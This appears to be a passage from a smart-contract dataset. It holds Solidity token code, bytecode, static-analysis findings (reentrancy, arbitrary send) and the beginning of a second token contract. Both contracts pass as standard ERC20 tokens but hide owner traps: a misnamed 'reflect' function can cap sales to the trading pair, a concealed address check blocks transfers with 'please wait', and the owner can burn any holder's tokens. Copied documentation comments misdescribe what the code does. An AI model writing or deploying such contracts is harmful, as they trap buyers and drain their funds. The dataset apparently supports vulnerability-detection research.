return rAmount.div(currentRate);
}
function _approve(address from, address spender, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[from][spender] = amount;
emit Approval(from, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _rateLimit);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
_swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function reflect(uint256 m) onlyOwner public{
_rateLimit=m;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
_sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(2).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb14610313578063c9567bf914610350578063dd62ed3e14610367578063f4293890146103a4576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd57806399c8d556146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b8063053ab1821461010357806306fdde031461012c578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190611e01565b6103bb565b005b34801561013857600080fd5b5061014161045c565b60405161014e9190611ec7565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190611f47565b610499565b60405161018b9190611fa2565b60405180910390f35b3480156101a057600080fd5b506101a96104b7565b6040516101b69190611fcc565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e19190611fe7565b6104c1565b6040516101f39190611fa2565b60405180910390f35b34801561020857600080fd5b5061021161059a565b60405161021e9190612056565b60405180910390f35b34801561023357600080fd5b5061023c61059f565b005b34801561024a57600080fd5b5061026560048036038101906102609190612071565b610619565b6040516102729190611fcc565b60405180910390f35b34801561028757600080fd5b50610290610669565b005b34801561029e57600080fd5b506102a76107c1565b6040516102b491906120ad565b60405180910390f35b3480156102c957600080fd5b506102d26107eb565b6040516102df9190611ec7565b60405180910390f35b3480156102f457600080fd5b506102fd610828565b60405161030a9190611fcc565b60405180910390f35b34801561031f57600080fd5b5061033a60048036038101906103359190611f47565b610832565b6040516103479190611fa2565b60405180910390f35b34801561035c57600080fd5b50610365610850565b005b34801561037357600080fd5b5061038e600480360381019061038991906120c8565b610d66565b60405161039b9190611fcc565b60405180910390f35b3480156103b057600080fd5b506103b9610ded565b005b6103c3610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044990612154565b60405180910390fd5b8060058190555050565b60606040518060400160405280600a81526020017f426162792047726f6f7400000000000000000000000000000000000000000000815250905090565b60006104ad6104a6610e5f565b8484610e67565b6001905092915050565b6000600254905090565b60006104ce848484611032565b61058f846104da610e5f565b61058a85604051806060016040528060288152602001612b2f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610540610e5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113699092919063ffffffff16565b610e67565b600190509392505050565b600090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105e0610e5f565b73ffffffffffffffffffffffffffffffffffffffff161461060057600080fd5b600061060b30610619565b9050610616816113cd565b50565b60006106626000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611655565b9050919050565b610671610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612154565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4241425947524f4f540000000000000000000000000000000000000000000000815250905090565b6000600654905090565b600061084661083f610e5f565b8484611032565b6001905092915050565b610858610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90612154565b60405180910390fd5b600960149054906101000a900460ff1615610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906121c0565b60405180910390fd5b61096630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ce57600080fd5b505afa1580156109e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0691906121f5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac291906121f5565b6040518363ffffffff1660e01b8152600401610adf929190612222565b602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3191906121f5565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bba30610619565b600080610bc56107c1565b426040518863ffffffff1660e01b8152600401610be796959493929190612290565b6060604051808303818588803b158015610c0057600080fd5b505af1158015610c14573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c399190612306565b5050506001600960166101000a81548160ff0219169083151502179055506001600960146101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d11929190612359565b602060405180830381600087803b158015610d2b57600080fd5b505af1158015610d3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6391906123ae565b50565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e2e610e5f565b73ffffffffffffffffffffffffffffffffffffffff1614610e4e57600080fd5b6000479050610e5c816116c3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece9061244d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e906124df565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110259190611fcc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990612571565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990612603565b60405180910390fd5b60008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90612695565b60405180910390fd5b60055481600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112045750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b61120f576000611212565b60015b60ff1661121f91906126e4565b111561122a57600080fd5b6112326107c1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112a057506112706107c1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561135957600960159054906101000a900460ff161580156113105750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113285750600960169054906101000a900460ff165b156113585761133e61133930610619565b6113cd565b6000479050600081111561135657611355476116c3565b5b505b5b61136483838361172f565b505050565b60008383111582906113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a89190611ec7565b60405180910390fd5b50600083856113c0919061273e565b9050809150509392505050565b6001600960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561140557611404612772565b5b6040519080825280602002602001820160405280156114335781602001602082028036833780820191505090505b509050308160008151811061144b5761144a6127a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ed57600080fd5b505afa158015611501573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152591906121f5565b81600181518110611539576115386127a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115a030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161160495949392919061288e565b600060405180830381600087803b15801561161e57600080fd5b505af1158015611632573d6000803e3d6000fd5b50505050506000600960156101000a81548160ff02191690831515021790555050565b600060035482111561169c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116939061295a565b60405180910390fd5b60006116a661173f565b90506116bb818461176a90919063ffffffff16565b915050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561172b573d6000803e3d6000fd5b5050565b61173a8383836117b4565b505050565b600080600061174c61197b565b91509150611763818361176a90919063ffffffff16565b9250505090565b60006117ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c8565b905092915050565b6000806000806000806117c687611a2b565b955095509550955095509550611823866000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9090919063ffffffff16565b6000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b6856000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190181611b38565b61190b8483611bf3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119689190611fcc565b60405180910390a3505050505050505050565b60008060006003549050600060025490506119a360025460035461176a90919063ffffffff16565b8210156119bb576003546002549350935050506119c4565b81819350935050505b9091565b60008083118290611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a069190611ec7565b60405180910390fd5b5060008385611a1e91906129a9565b9050809150509392505050565b6000806000806000806000806000611a458a600654611c2d565b9250925092506000611a5561173f565b90506000806000611a688e878787611cc2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ad283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611369565b905092915050565b6000808284611ae991906129da565b905083811015611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612a7c565b60405180910390fd5b8091505092915050565b6000611b4261173f565b90506000611b598284611d4b90919063ffffffff16565b9050611bac816000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c0882600354611a9090919063ffffffff16565b600381905550611c2381600454611ada90919063ffffffff16565b6004819055505050565b600080600080611c5a6064611c4c600289611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611c846064611c76888a611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611cad82611c9f858b611a9090919063ffffffff16565b611a9090919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611cdb8589611d4b90919063ffffffff16565b90506000611cf28689611d4b90919063ffffffff16565b90506000611d098789611d4b90919063ffffffff16565b90506000611d3282611d248587611a9090919063ffffffff16565b611a9090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d5e5760009050611dc0565b60008284611d6c91906126e4565b9050828482611d7b91906129a9565b14611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612b0e565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611dde81611dcb565b8114611de957600080fd5b50565b600081359050611dfb81611dd5565b92915050565b600060208284031215611e1757611e16611dc6565b5b6000611e2584828501611dec565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e68578082015181840152602081019050611e4d565b83811115611e77576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9982611e2e565b611ea38185611e39565b9350611eb3818560208601611e4a565b611ebc81611e7d565b840191505092915050565b60006020820190508181036000830152611ee18184611e8e565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f1482611ee9565b9050919050565b611f2481611f09565b8114611f2f57600080fd5b50565b600081359050611f4181611f1b565b92915050565b60008060408385031215611f5e57611f5d611dc6565b5b6000611f6c85828601611f32565b9250506020611f7d85828601611dec565b9150509250929050565b60008115159050919050565b611f9c81611f87565b82525050565b6000602082019050611fb76000830184611f93565b92915050565b611fc681611dcb565b82525050565b6000602082019050611fe16000830184611fbd565b92915050565b60008060006060848603121561200057611fff611dc6565b5b600061200e86828701611f32565b935050602061201f86828701611f32565b925050604061203086828701611dec565b9150509250925092565b600060ff82169050919050565b6120508161203a565b82525050565b600060208201905061206b6000830184612047565b92915050565b60006020828403121561208757612086611dc6565b5b600061209584828501611f32565b91505092915050565b6120a781611f09565b82525050565b60006020820190506120c2600083018461209e565b92915050565b600080604083850312156120df576120de611dc6565b5b60006120ed85828601611f32565b92505060206120fe85828601611f32565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061213e602083611e39565b915061214982612108565b602082019050919050565b6000602082019050818103600083015261216d81612131565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006121aa601783611e39565b91506121b582612174565b602082019050919050565b600060208201905081810360008301526121d98161219d565b9050919050565b6000815190506121ef81611f1b565b92915050565b60006020828403121561220b5761220a611dc6565b5b6000612219848285016121e0565b91505092915050565b6000604082019050612237600083018561209e565b612244602083018461209e565b9392505050565b6000819050919050565b6000819050919050565b600061227a6122756122708461224b565b612255565b611dcb565b9050919050565b61228a8161225f565b82525050565b600060c0820190506122a5600083018961209e565b6122b26020830188611fbd565b6122bf6040830187612281565b6122cc6060830186612281565b6122d9608083018561209e565b6122e660a0830184611fbd565b979650505050505050565b60008151905061230081611dd5565b92915050565b60008060006060848603121561231f5761231e611dc6565b5b600061232d868287016122f1565b935050602061233e868287016122f1565b925050604061234f868287016122f1565b9150509250925092565b600060408201905061236e600083018561209e565b61237b6020830184611fbd565b9392505050565b61238b81611f87565b811461239657600080fd5b50565b6000815190506123a881612382565b92915050565b6000602082840312156123c4576123c3611dc6565b5b60006123d284828501612399565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612437602483611e39565b9150612442826123db565b604082019050919050565b600060208201905081810360008301526124668161242a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006124c9602283611e39565b91506124d48261246d565b604082019050919050565b600060208201905081810360008301526124f8816124bc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061255b602583611e39565b9150612566826124ff565b604082019050919050565b6000602082019050818103600083015261258a8161254e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125ed602383611e39565b91506125f882612591565b604082019050919050565b6000602082019050818103600083015261261c816125e0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061267f602983611e39565b915061268a82612623565b604082019050919050565b600060208201905081810360008301526126ae81612672565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126ef82611dcb565b91506126fa83611dcb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612733576127326126b5565b5b828202905092915050565b600061274982611dcb565b915061275483611dcb565b925082821015612767576127666126b5565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61280581611f09565b82525050565b600061281783836127fc565b60208301905092915050565b6000602082019050919050565b600061283b826127d0565b61284581856127db565b9350612850836127ec565b8060005b83811015612881578151612868888261280b565b975061287383612823565b925050600181019050612854565b5085935050505092915050565b600060a0820190506128a36000830188611fbd565b6128b06020830187612281565b81810360408301526128c28186612830565b90506128d1606083018561209e565b6128de6080830184611fbd565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612944602a83611e39565b915061294f826128e8565b604082019050919050565b6000602082019050818103600083015261297381612937565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006129b482611dcb565b91506129bf83611dcb565b9250826129cf576129ce61297a565b5b828204905092915050565b60006129e582611dcb565b91506129f083611dcb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a2557612a246126b5565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a66601b83611e39565b9150612a7182612a30565b602082019050919050565b60006020820190508181036000830152612a9581612a59565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612af8602183611e39565b9150612b0382612a9c565b604082019050919050565b60006020820190508181036000830152612b2781612aeb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1893d54285424e5d11dc5684f5d3a256e4df8dab03ac97ea5f66782492bd68564736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,484 |
0xdd6b5d41df2cd3dd2e33006a192326bb8aa8fb8a | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract UltimateBrainCapital is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burnFrom(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burnFrom (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
